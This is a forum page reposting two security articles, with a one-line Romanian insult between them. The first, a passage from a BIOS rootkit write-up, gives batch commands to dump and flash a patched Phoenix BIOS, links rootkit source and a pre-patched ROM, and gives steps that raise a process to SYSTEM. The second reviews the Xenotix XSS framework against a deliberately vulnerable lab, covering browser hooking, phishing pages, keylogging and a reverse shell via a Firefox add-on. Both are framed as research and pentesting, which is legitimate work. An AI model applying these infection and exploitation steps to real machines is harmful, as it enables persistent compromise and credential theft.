BIOS!) PC BIOS Retrieval The first step to modifying a real system BIOS is to extract a copy of it. Phoenix has two different tools which they generally provide for this purpose, one is called "Phlash16", and the other is called "WinPhlash". Phlash16 is a command line utility (with a console based GUI), but will only run from DOS. WinPhlash, as its name suggests, runs from Windows. While this is a GUI based utility, it will also accept command line options, allowing us to automate the process of BIOS retrieval. For this project I ended up making some scripts to automate BIOS extraction and patching, but they're quite basic and limited. The following batch script will copy the BIOS into a file named BIOSORIG.WPH, and then check if it has previously been modified. The CheckFlash.py Perl script simply checks the BIOS contents for my name, which would not be in any unpatched BIOS. @rem This file dumps the bios and checks if it has previously been patched. @rem Dump WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH @rem Check if the BIOS has been patched already Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH PC BIOS Decompression and Patching With the BIOS retrieved, the next step is to patch it with our rootkit code. This can be done using the exact same scripts that we used for VMware in the sections above. It was a goal of this project to design the patch as well as the patching process to be as compatible as possible. I am quite pleased that this turned out to be completely possible, so that the same tools can be used for completely different hardware running the same type of BIOS. PC BIOS Reassembly While there is a free tool which can extract modules from Phoenix BIOS's, it appears that only the Phoenix Bios Editor will reassemble them as needed for typical PC's. The WinPhlash tool requires additional information to be included with the BIOS, which it stores along with the raw BIOS in the WPH file. After testing many different options, it appears that the only way to successfully reassemble the WPH file is to use the GUI Phoenix Bios Editor. This unfortunately means that it is not possible to simply have one application that can be run on a system which will infect the BIOS, at least not using off the shelf tools. Theoretically it should be possible to reverse engineer the WPH format and create a custom BIOS reassembly tool, but this was out of the scope of this project. Instead, the BIOS infection is a three stage process, requiring some manual intervention mainly for the reassembly. As with patching the VMware BIOS, the same trick to have the Phoenix BIOS Editor reassemble a patched module can be used. When a BIOS image is first opened, all of the BIOS modules will be extracted to disk in a folder located at C:\Program Files\Phoenix BIOS Editor\TEMP\. The decompression module can be copied from this folder, patched, and replaced. The Phoenix BIOS Editor will not allow you to save a BIOS without a modification, so it is necessary to modify a string value and then change it back (or just leave it) so that the BIOS can be saved. BIOS Flashing Once the BIOS is reassembled into the WPH file, the following batch script will flash the new BIOS image into the BIOS EEPROM and then reboot the PC so that it takes effect: @rem This file uploads a file named "BIOSPATCHED.WPH" to the BIOS. Will reboot system when done. WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH Laptop Modification Results With everything described so far put together, the following shows the BIOS code being flashed onto a laptop (being run from the infect.bat script detailed above): Once the flash completed, the BIOS rootkit successfully ran and loaded itself into the Windows kernel. The following screenshot shows a command prompt which starts initially as a normal user, and then after 30 seconds has its privileges escalated: This demonstrated that the BIOS rootkit was portable enough to work on multiple systems (VMware, the HP laptop), and that the infection mechanisms were functional and working properly. The "rootkit" developed for this project only implements one simple task, but as noted regarding the Vbootkit2 software, there is no reason additional functionality cannot be added to this. BIOS's made by Phoenix were examined for this project, and it is likely that there are many similarities between Phoenix BIOS's and BIOS's from other manufacturers. While it is likely that code will need to be created for each separate manufacturer, there are not a large number of different BIOS vendors, so expanding this rootkit functionality to all of the common manufacturers should be feasible. In the introduction I noted that new BIOS features, such as signed BIOS updates, make much of what is described here far less of an issue from a security standpoint. That is definitely good to see, but it is also worth remembering that there are more "legacy" computers out there than there are "new" ones, so this type of attack will still remain an issue for quite a while to come. Demo VMware BIOS and source code The following source code, and patched BIOS is provided as a proof of concept. It is in no way my intention that people take this and use it for any malicious purposes, but rather to demonstrate that such attacks are completely feasible on older BIOS configurations. I do not expect that it is very feasible to take this in its current form and turn it into any sort of useful malware, and based on that I am posting this code online. As noted in the earlier sections, this code should work to patch most "Phoenix" BIOS's. The patching scripts can be downloaded here: BIOS_Based_Rootkit_Patch_Scripts.zip The source code for the BIOS rootkit can be downloaded here: biosrootkit.asm You will need NASM to compile the code to patch into the BIOS if you are using the above scripts / source code. NASM should either be added to your path variable, or you should update the patching script to have an absolute path to it for it to work successfully. You will also need a copy of the Phoenix BIOS Editor, or a free tool equivalent to combine the decompression module back into a complete BIOS. If you don't want to compile this all yourself and would simply like to try it, a pre-patched BIOS for use with VMware can be downloaded here: BIOS_rootkit_demo.ROM PoC Usage and Notes If you don't feel like reading through the whole write-up above, here is the summary of how to try this out, and what it does. First, download the BIOS_rootkit_demo.ROM BIOS image from the above link. To try it, you need a copy of VMware installed, and a guest Windows XP operating system to test with. I've personally tested this with a bunch of different versions of VMware Workstation, as well as the latest version of VMware Player (which is free). I am also told that VMware Fusion works just fine too. Before opening your guest WinXP VM, browse to where you have the VM stored on your computer, and open the .vmx file (ie WindowsXP.vmx or whatever your VM is called) in notepad. Add a new line at the end that matches the following: bios440.filename = "BIOS_rootkit_demo.ROM". Make sure you copy BIOS_rootkit_demo.ROM to that folder while you're at it. Now open and start the VM, then rename a program to pwn.exe (cmd.exe for example). Wait 30 seconds, and then start the Task Manager. Pwn.exe should be running as user "SYSTEM" now instead of whatever user you are logged into XP with. The list of steps described above should work in an ideal world. Testing has shown the following caveats however! OS instability. Sometimes when booting or just simply closing your pwn.exe application Windows will BSOD. Task Manager will lie about your process user if you open it in advance of the 30s permission escalation time. Use something like cmd with whoami to properly check what your permissions are. While I have loaded this successfully onto a real PC, I take no responsibility for the results if you do the same. I'd love to hear about it if you brick your motherboard in some horrendous way, but I probably won't actually be able to help you with it! Use at your own risk! If you just want to watch a video of what this does, Colin has put one up on YouTube: . I recommend actually trying it in VMware, it's way more fun to see a hard drive wipe do nothing, and your system still affected! Sursa: EXFiLTRATED

E o vorba din popor: va strangeti ca mustele la cacat.

[h=3]toolsmith: OWASP Xenotix XSS Exploit Framework[/h] Prerequisites Current Windows operating system Introduction Hard to believe this month’s toolsmith marks seven full years of delivering dynamic content and covering timely topics on the perpetually changing threat-scape information security practitioners face every day. I’ve endeavored to aid in that process 94 straight months in a row, still enjoy writing toolsmith as much as I did day one, and look forward to many more to come. How better to roll into our eighth year than by zooming back to one of my favorite topics, cross-site scripting (XSS), with the OWASP Xenotix XSS Exploit Framework. I’d asked readers and Twitter followers to vote for November’s topic and Xenotix won by quite a majority. This was timely as I’ve also seen renewed interest in my Anatomy of an XSS Attack published in the ISSA Journal more than five years ago in June 2008. Hard to believe XSS vulnerabilities still prevail but according to WhiteHat Security’s May 2013 Statistics report: 1) While no longer the most prevalent vulnerability, XSS is still #2 behind only Content Spoofing 2) While 50% of XSS vulnerabilities were resolved, up from 48% in 2011, it still took an average of 227 for sites to deploy repairs Per the 2013 OWASP Top 10, XSS is still #3 on the list. As such, good tools for assessing web applications for XSS vulnerabilities remain essential, and OWASP Xenotix XSS Exploit Framework fits the bill quite nicely. Ajin Abraham (@ajinabraham) is Xenotix’s developer and project lead; his feedback on this project supports the ongoing need for XSS awareness and enhanced testing capabilities. According to Ajin, most of the current pool of web application security tools still don't give XSS the full attention it deserves, an assertion he supports with their less than optimal detection rates and a high number of false positive. He has found that most of these tools use a payload database of about 70-150 payloads to scan for XSS. Most web application scanners, with the exception of few top notch proxies such as OWASP ZAP and Portswigger’s Burp Suite, don't provide much flexibility especially when dealing with headers and cookies. They typically have a predefined set of protocols or rules to follow and from a penetration tester’s perspective can be rather primitive. Overcoming some of these shortcomings is what led to the OWASP Xenotix XSS Exploit Framework. Xenotix is a penetration testing tool developed exclusively to detect and exploit XSS vulnerabilities. Ajin claims that Xenotix is unique in that it is currently the only XSS vulnerability scanner with zero false positives. He attributes this to the fact that it uses live payload reflection-based XSS detection via its powerful triple browser rendering engines, including Trident, WebKit and Gecko. Xenotix apparently has the world's second largest XSS payload database, allowing effective XSS detection and WAF bypass. Xenotix is also more than a vulnerability scanner as it also includes offensive XSS exploitation and information gathering modules useful in generating proofs of concept. For feature releases Ajin intends to implement additional elements such as an automated spider and an intelligent scanner that can choose payloads based on responses to increase efficiency and reduce overall scan time. He’s also working on an XSS payload inclusive of OSINT gathering which targets certain WAF's and web applications with specific payloads, as well as a better DOM scanner that works within the browser. Ajin welcomes support from the community. If you’re interested in the project and would like to contribute or develop, feel free to contact him via @ajinabraham, the OWASP Xenotix site, or the OpenSecurity site. Xenotix Configuration Xenotix installs really easily. Download the latest package (4.5 as this is written), unpack the RAR file, and execute Xenotix XSS Exploit Framework.exe. Keep in mind that antimalware/antivirus on Windows systems will detect xdrive.jar as a Trojan Downloader. Because that’s what it is. ;-) This is an enumeration and exploitation tool after all. Before you begin, watch Ajin’s YouTube regarding Xenotix 4.5 usage. There is no written documentation for this tool so the video is very helpful. There are additional for older editions that you may find useful as well. After installation, before you do anything else, click Settings, then Configure Server, check the Semi Persistent Hook box, then click Start. This will allow you to conduct information gathering and exploitation against victims once you’ve hooked them. Xenotix utilizes the Trident engine (Internet Explorer 7), the Webkit engine (Chrome 25), and the Gecko engine (Firefox 18), and includes three primary module sets: Scanner, Information Gathering, and XSS Exploitation as seen in Figure 1. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 1: The Xenotix user interface [/TD] [/TR] [/TABLE] We’ll walk through examples of each below while taking advantage of intentional XSS vulnerabilities in the latest release of OWASPMutillidae II: Web Pwn in Mass Production. We covered Jeremy Druin’s (@webpwnized) Mutillidae in August 2012’s toolsmith and it’s only gotten better since. Xenotix Usage These steps assume you’ve installed Mutillidae II somewhere, ideally on a virtual machine, and are prepared to experiment as we walk through Xenotix here. Let’s begin with the Scanner modules. Using Mutillidae’s DNS Lookup under OWASP Top 10 à A2 Cross Site Scripting (XSS) à Reflected (First Order) à DNS Lookup. The vulnerable GET parameter is page and on POST is target_host. Keep in mind that as Xenotix will confirm vulnerabilities across all three engines, you’ll be hard pressed to manage output, particularly if you run in Auto Mode; there is no real reporting function with this tool at this time. I therefore suggest testing in Manual Mode. This allows you to step through each payload and as seen Figure 2, we get our first hit with payload 7 (of 1530). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 2: Xenotix manual XSS scanning [/TD] [/TR] [/TABLE] You can also try the XSS Fuzzer where you replace parameter values with a marker,[X], and fuzz in Auto Mode. The XSS Fuzzer allows you to skip ahead to a specific payload if you know the payload position index. Circling back to the above mentioned POST parameter, I used the POST Request Scanner to build a request, establishing http://192.168.40.139/mutillidae/index.php?page=dns-lookup.php as the URL and setting target_host in Parameters. Clicking POST then populated the form as noted in Figure 3 and as with Manual mode, our first hits came with payload 7. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 3: Xenotix POST Request Scanner [/TD] [/TR] [/TABLE] You can also make use of Auto Mode, as well as DOM, Multiple Parameter, and Header Scanners, as well as a Hidden Parameter Detector. The Information Gathering modules are where we can really start to have fun with Xenotix. You first have to hook a victim browser to make use of this tool set. I set the Xenotix server to the host IP where Xenotix was running (rather than the default localhost setting) and checked the Semi Persistent Hook checkbox. The resulting payload of was then used with Mutillidae’s Pen Test Tool Lookup to hook a victim browser on a different system running Firefox on Windows 8.1. With the browser at my beck and call, I clicked Information Gathering where the Victim Fingerprinting module produced: Again, entirely accurate. The Information Gathering modules also include WAF Fingerprinting, as well as Ping, Port, and Internal Network Scans. Remember that, as is inherent to its very nature, these scans occur in the context of the victimized browser’s system as a function of cross-site scripting. Saving the most fun for last, let’s pwn this this thang! A quick click of XSS Exploitation offers us a plethora of module options. Remember, the victim browser is still hooked (xooked) via: I sent my victim browser a message as depicted in Figure 4 where I snapped the Send Message configuration and the result in the hooked browser. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 4: A celebratory XSS message [/TD] [/TR] [/TABLE] Message boxes are cute, Tabnabbing is pretty darned cool, but what does real exploitation look like? I first fired up the Phisher module with Renren (the Chinese Facebook) as my target site, resulting in a Page Fetched and Injected message and Renren ready for login in the victim browser as evident in Figure 5. Note that my Xenotix server IP address is the destination IP in the URL window. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 5: XSS phishing Renren [/TD] [/TR] [/TABLE] But wait, there’s more. When the victim user logs in, assuming I’m also running the Keylogger module, yep, you guessed it. Figure 6 includes keys logged. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 6: Ima Owned is keylogged [/TD] [/TR] [/TABLE] Your Renren is my Renren. What? Credential theft is not enough for you? You want to deliver an executable binary? Xenotix includes a safe, handy sample.exe to prove your point during demos for clients and/or decision makers. Still not convinced? Need shell? You can choose from JavaScript, Reverse HTTP, and System Shell Access. My favorite, as shared in Figure 7, is reverse shell via a Firefox bootstrapped add-on as delivered by XSS Exploitation --> System Shell Access --> Firefox Add-on Reverse Shell. Just Start Listener, then Inject (assumes a hooked browser). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]FIGURE 7: Got shell? [/TD] [/TR] [/TABLE] Assuming the victim happily accepts the add-on installation request (nothing a little social engineering can’t solve), you’ll have system level access. This makes pentesters very happy. There are even persistence options via Firefox add-ons, more fun than a frog in a glass of milk. In Conclusion While this tool won’t replace proxy scanning platforms such as Burp or ZAP, it will enhance them most righteously. Xenotix is GREAT for enumeration, information gathering, and most of all, exploitation. Without question add the OWASP Xenotix XSS Exploit Framework to your arsenal and as always, have fun but be safe. Great work, Ajin, looking forward to more, and thanks to the voters who selected Xenotix for this month’s topic. If you have comments, follow me on Twitter via @holisticinfosec or email if you have questions via russ at holisticinfosec dot org. Cheers…until next month. Acknowledgements Ajin Abraham, Information Security Enthusiast and Xenotix project lead Posted by Russ McRee at 12:47 PM Sursa: HolisticInfoSec: toolsmith: OWASP Xenotix XSS Exploit Framework